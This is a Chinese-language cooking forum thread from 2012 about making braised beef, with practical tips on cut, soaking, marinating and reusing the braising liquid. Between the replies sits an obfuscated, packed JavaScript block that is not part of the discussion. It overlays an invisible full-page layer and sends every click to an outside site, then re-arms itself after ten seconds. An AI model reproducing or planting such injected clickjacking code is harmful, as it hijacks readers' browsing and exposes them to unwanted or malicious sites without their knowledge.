求高手指点，怎样做一道好吃的卤牛肉,谢谢！

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1. 选用牛腱肉  
2. 买回来后用冷水冰一晚上  一定要淹过肉。不喜欢用热水紧血水，肉香也没了。
3. 肉表面抹上盐（我一般还会加点花椒粉，自己把花椒粒压碎）再加点料酒 （我一般用的是清酒）， 腌制1晚上
4. 上锅卤，同时可以加点别的，例如豆腐干之类的。放什么材料看你自己了  八角 大料 那些都是必须的了。
5. 不用煮太久，主要是在泡，泡上一晚上肯定有味的。我一般不收汁，都把卤汁留着，现在这碗已经有10个多月了。

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Yohohox 发表于 2012-10-2 20:12
个人建议
1. 选用牛腱肉  
2. 买回来后用冷水冰一晚上  一定要淹过肉。不喜欢用热水紧血水，肉香也没了。 ...

10個月ok嗎?? 我不會做這個,所以不是太懂, 看到10個月我有點驚訝~~

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下雨不怕有大頭 发表于 2012-10-2 21:01
10個月ok嗎?? 我不會做這個,所以不是太懂, 看到10個月我有點驚訝~~

你可以去看看我那个卤猪肉的帖子，然后换成牛肉就可以了。哈哈。而且楼上介绍的也很专业。

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>

大佬秆 发表于 2012-10-2 22:51
你可以去看看我那个卤猪肉的帖子，然后换成牛肉就可以了。哈哈。而且楼上介绍的也很专业。

我為了鹵的食物已經買好各種硬件設備了!!!!!!!!!!!!!!!!!!!

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Yohohox 发表于 2012-10-2 20:12
个人建议
1. 选用牛腱肉  
2. 买回来后用冷水冰一晚上  一定要淹过肉。不喜欢用热水紧血水，肉香也没了。 ...

哇，谢谢啊！就有两个问题，这个牛腱肉英文怎么说啊？还有就是“上锅卤”是不是说，把后面写的那些料一起下锅煮啊？

谢谢了。

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大佬秆 发表于 2012-10-2 22:51
你可以去看看我那个卤猪肉的帖子，然后换成牛肉就可以了。哈哈。而且楼上介绍的也很专业。

大厨，你这有点儿... 起码也给个链接嘛...

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天人合一 发表于 2012-10-3 20:27
大厨，你这有点儿... 起码也给个链接嘛...

http://bbs.ozyoyo.com/thread-325078-1-1.html
其实里面没啥内容，图片为主，呵呵。酱牛肉的道理是一样的，小火，多卤几天，味道就进去了。

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